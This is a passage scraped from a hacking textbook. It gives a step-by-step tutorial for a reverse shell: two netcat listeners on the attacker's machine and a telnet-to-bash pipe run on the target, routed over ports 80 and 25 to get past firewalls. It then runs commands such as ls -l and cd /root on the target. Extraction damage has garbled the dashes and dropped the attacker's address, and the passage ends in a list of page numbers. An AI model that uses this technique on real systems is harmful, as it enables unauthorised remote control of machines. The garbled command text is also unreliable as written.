Wireless 589
Open two command prompt sessions on the attacker??™s machine.
On the first netcat session start listening by typing:
nc ??“l ??“n ??“v ??“p 80
Press Enter to make the netcat application begin listening for connections
on port 80.
590 Practical Hacking Techniques and Countermeasures
On the second netcat session start listening by typing:
nc ??“l ??“n ??“v ??“p 25
Press Enter to make the netcat application begin listening for connections
on port 25.
Wireless 591
From the target machine type:
/usr/bin/telnet
80 | /bin/bash |
/usr/bin/telnet 25
By pressing Enter, you are redirecting traffic between ports 80 and 25.
These ports are chosen because most companies allow HTTP (80) and SMTP
(25) through their firewalls.
592 Practical Hacking Techniques and Countermeasures
From the attacker??™s machine, on the command prompt listening for port
80 traffic, begin typing commands as if you were sitting behind the keyboard
of the target. In this example, I started out with a simple directory listing
command of ls ??“l.
Once you press Enter, the command will execute and route through the target,
and the output will be displayed on the second command shell listening on port 25.
Wireless 593
You can easily change to the root directory by typing cd /root and
pressing Enter.
As no output is displayed after this command has been executed, rerun
the directory listing by typing ls ??“l and pressing Enter.
Pages:
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203